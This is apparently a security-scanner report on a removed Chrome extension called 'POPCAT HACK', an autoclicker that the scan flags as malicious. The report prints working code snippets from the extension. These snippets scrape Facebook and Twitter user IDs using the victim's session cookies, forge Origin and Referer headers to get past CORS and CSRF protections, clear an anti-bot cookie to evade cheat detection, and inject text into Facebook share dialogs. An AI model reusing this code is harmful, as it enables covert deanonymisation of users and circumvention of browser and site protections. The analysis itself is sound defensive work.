POPCAT HACK

ID: fbnfjhmfodkfmdmpbkmioepjojfnfnol

Could be malicious

Supported Languages

🇺🇸US English

Extension Info & Metadata

Status
Removed
Version
0.1.5
Size
0.42 MB
Rating
4.7/5
Reviews
45
Users
50,547
Type
Extension
Updated
Jul 12, 2023
Category
Lifestyle Fun
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
groupdollarView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
50,547

Autoclicker for POPCAT that won't be affected by the RED EYES.

Autoclicker for POPCAT will not be affected by EYES. This is an autoclicker for the popular internet game - POPCAT. This auto clicker allows you to customize the time interval between each click and start/stop the clicker through the control panel. Auto-click starts clicking when you visit https://popcat.click. ********************************************* Update v0.1.4: - Toggle the automatic clicker brought to the interface popup - Set time between each pop-up extension click - See the scoreboard at a glance with the pop-up extension - Share the score of the inviting country and friends to play the game on the heat platforms: Twitter, Facebook and Linkedin. ********************************************* USAGE INSTRUCTIONS: ** Function: 1. Auto click cat photo 2. Turn on/Turn off auto click 3. View and quickly search your country scores on the scoreboard popup extension. 4. Share and invite friends to play games. ** How to use functions: 1. Set the time (in milliseconds) between clicks of the pop-up extension. 2. Open the popcat.click page autoclick will run automatically. 3. Enable/disable autoclick in left pop-up window. 4. See your country score in the left pop-up window. **ADVICE : Each IP can add permission to send 800 clicks to the server every 30 seconds. If pass Rate Rate, clicks will not be counted in your country. **Note: This utility extension also automatically removes red-eye mode each time it activates, but you should not do it too quickly because of many times.

Item
Type
Severity
Description
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 20% increase: Access to sensitive domains increases potential impact
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
*://*.popcat.click/*
Host
Medium
Host permission — access limited to this URL pattern.
*://popcat.click/*
Host
Medium
Host permission — access limited to this URL pattern.
*://*.facebook.com/*
Host
Medium
Host permission — access limited to this URL pattern.
*://facebook.com/*
Host
Medium
Host permission — access limited to this URL pattern.
*://twitter.com/*
Host
Medium
Host permission — access limited to this URL pattern.
Access to Sensitive Domains
Risk Factor
Medium
This extension requests access to sensitive domains: *://*.facebook.com/*, *://facebook.com/*, *://twitter.com/*

The background service worker silently fetches authenticated Facebook (m.facebook.com composer endpoint) and Twitter (twitter.com/home) pages using the victim's session cookies, then regex-scrapes the user's Facebook actorID and Twitter user_id. These social-network identifiers are extracted without consent and exposed via runtime messaging (check-user), enabling deanonymization and cross-site profiling.

assets/index.ts.e0a89eb8.js (Line 4781)
const ee = chrome.declarativeNetRequest.HeaderOperation,  nr = chrome.declarativeNetRequest.RuleActionType,  f_ = async () => {    const N = "https://m.facebook.com/",      H = "composer/ocelot/async_loader/?publisher=feed";    let a = null;    const te = await fetch(N + H)      .then(pe => pe.text())      .catch(pe => !1);    return typeof te == "string" && /"actorID\\":\\"([\d]+)\\"/.test(te) && (a = /"actorID\\":\\"([\d]+)\\"/.exec(te)[      1]), a  }, a_ = async () => {    let N = null;    const H = await fetch("https://twitter.com/home")      .then(a => a.text())      .catch(a => !1);    return typeof H == "string" && /"user_id":"([\d]+)"/.test(H) && (N = /"user_id":"([\d]+)"/.exec(H)[1]), N  }, o_ = async () => {    let N = null;    return N = await Promise.all([f_(), a_()])      .then(H => H)      .catch(() => !1), N  }

Uses declarativeNetRequest to forge Origin and Referer headers on background XHR requests (tabIds:[-1]) to facebook.com, m.facebook.com, twitter.com, and leaderboard.popcat.click. Spoofing Origin/Referer bypasses CORS and CSRF protections, allowing the extension's silent background fetches to appear as same-origin requests from the target sites and successfully scrape authenticated data the browser would otherwise block.

assets/index.ts.e0a89eb8.js (Line 4820)
chrome.declarativeNetRequest.updateSessionRules({      addRules: [{            id: 1,            priority: 1,            action: {              type: nr.MODIFY_HEADERS,              requestHeaders: [{                header: "origin",                operation: ee.SET,                value: "https://facebook.com"              }, {                header: "referer",                operation: ee.SET,                value: "https://facebook.com/"              }]            },            condition: {              urlFilter: "www.facebook.com",              resourceTypes: ["xmlhttprequest"],              tabIds: [-1]            }          }, {            id: 2,            priority: 1,            action: {              type: nr.MODIFY_HEADERS,              requestHeaders: [{                header: "origin",                operation: ee.SET,                value: "https://popcat.click"              }, {                header: "referer",                operation: ee.SET,                value: "https://popcat.click/"              }]            }

Synthesizes Ctrl+G KeyboardEvents at 10ms intervals to automate clicks against popcat.click — the extension's stated purpose, but a deceptive automation mechanism. Combined with cookie inspection of 'bot=true', it actively detects anti-cheat flagging, clears the bot cookie, and force-reloads the page to evade detection. This is anti-detection logic for game/leaderboard fraud.

assets/index.ts.6993d819.js (Line 40)
function C() {  let e, t;  e = new KeyboardEvent("keydown", {    key: "g",    ctrlKey: !0  }), t = new KeyboardEvent("keyup", {    key: "g",    ctrlKey: !0  }), document.dispatchEvent(e), document.dispatchEvent(t)}function u() {  n.value || (n.value = !0, chrome.storage.local.get("durationClick", ({    durationClick: e  }) => {    c = setInterval(function() {      if (C(), h("bot") === "true") {        k(), window.location.reload();        return      }    }, e || 10)  }))}

On Facebook's sharer page, the content script auto-injects attacker-controlled text (parsed from URL query params) into the share textarea via document.execCommand('insertText'). This silently pre-fills user-facing share dialogs with content the user did not type, enabling social-engineered post promotion / spam-share campaigns from the victim's Facebook account.

assets/index.ts.6993d819.js (Line 98)
v = (o, n, r = 0) => {  r <= 100 && setTimeout(() => {    const c = document.querySelector(o);    c ? (c.focus(), n = n.trim(), setTimeout(() => document.execCommand("insertText", !1, n), 1e3)) : v(o, n, ++r)  }, 50)};if (window.location.hostname === "popcat.click") {  const o = document.createElement("popup-hack");  o.id = "popup-hack", document.body.appendChild(o), S(U)    .use(T)    .mount(o)}if (window.location.href.includes("https://www.facebook.com/sharer/sharer.php")) {  const o = decodeURIComponent(window.location.search.replace("?", ""))    .split("&"),    n = o[1].replace("country=", ""),    r = o[2].replace("score=", "");  n && v(".innerWrap > textarea", `Current score: ${n} - ${Intl.NumberFormat("en-US").format(Number(r))}`)}

By severity

Critical0
High2
Medium2
Low0

Versions scanned

Showing 1 of 6 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
0.1.54

Files with findings

2 distinct paths — top paths by unique finding count:

  • assets/index.ts.6993d819.js2
  • assets/index.ts.e0a89eb8.js2
S.No.
Category
Severity
File
Summary
Found in Version
1Network Interception
high
assets/index.ts.e0a89eb8.js (line 4820)Uses declarativeNetRequest to forge Origin and Referer headers on background XHR requests (tabIds:[-1]) to facebook.com, m.facebook.com, twitter.com, and leaderboard.popcat.click. Spoofing Origin/Referer bypasses CORS…
2Unauthorized Data Collection
high
assets/index.ts.e0a89eb8.js (line 4781)The background service worker silently fetches authenticated Facebook (m.facebook.com composer endpoint) and Twitter (twitter.com/home) pages using the victim's session cookies, then regex-scrapes the user's Facebook …
3Code Injection
medium
assets/index.ts.6993d819.js (line 98)On Facebook's sharer page, the content script auto-injects attacker-controlled text (parsed from URL query params) into the share textarea via document.execCommand('insertText'). This silently pre-fills user-facing sh…
4Other
medium
assets/index.ts.6993d819.js (line 40)Synthesizes Ctrl+G KeyboardEvents at 10ms intervals to automate clicks against popcat.click — the extension's stated purpose, but a deceptive automation mechanism. Combined with cookie inspection of 'bot=true', it act…
URLs
29
IPv4
11
IPv6
1

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
www.w3.org/2000/svghttp://www.w3.org/2000/svg
www.w3.org/1999/xlinkhttp://www.w3.org/1999/xlink
element-plus.org/en-US/component/button.htmlhttps://element-plus.org/en-US/component/button.html#button-attributes
github.com/vuejs/vue-next/pull/2485https://github.com/vuejs/vue-next/pull/2485
element-plus.org/en-US/component/dialog.htmlhttps://element-plus.org/en-US/component/dialog.html#slots
element-plus.org/en-US/component/drawer.htmlhttps://element-plus.org/en-US/component/drawer.html#slots
element-plus.org/en-US/component/switch.htmlhttps://element-plus.org/en-US/component/switch.html#attributes
element-plus.org/en-US/component/tabs.htmlhttps://element-plus.org/en-US/component/tabs.html#attributes
www.facebook.com/sharer/sharer.phphttps://www.facebook.com/sharer/sharer.php
Showing 1 to 10 of 30 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

1.2.3.4
IPv4
-
1.2.9.4
IPv4
-
6.4.8.6
IPv4
-
3.3.5.6
IPv4
-
6.2.3.1
IPv4
-
2.2.4.2
IPv4
-
5.5.2.5
IPv4
-
14.46.45.14
IPv4
-
28.38.15.45
IPv4
-
13.46.3.36
IPv4
-
2.44.25.4
IPv4
-
1:2:3:4:5:6:7:8
IPv6
-
Showing 1 to 12 of 20 rows
Rows per page:
Version
Size
Is Malicious
Findings
Permhash
0.1.6
Latest
0.42 MB
Malicious
0.1.5
0.40 MB
Malicious
4
0.1.4
0.40 MB
Malicious
0.1.3
0.07 MB
Malicious
N/A
0.1.2.5
0.07 MB
Malicious
N/A
0.1.8
0.42 MB
Malicious
Showing 1 to 6 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.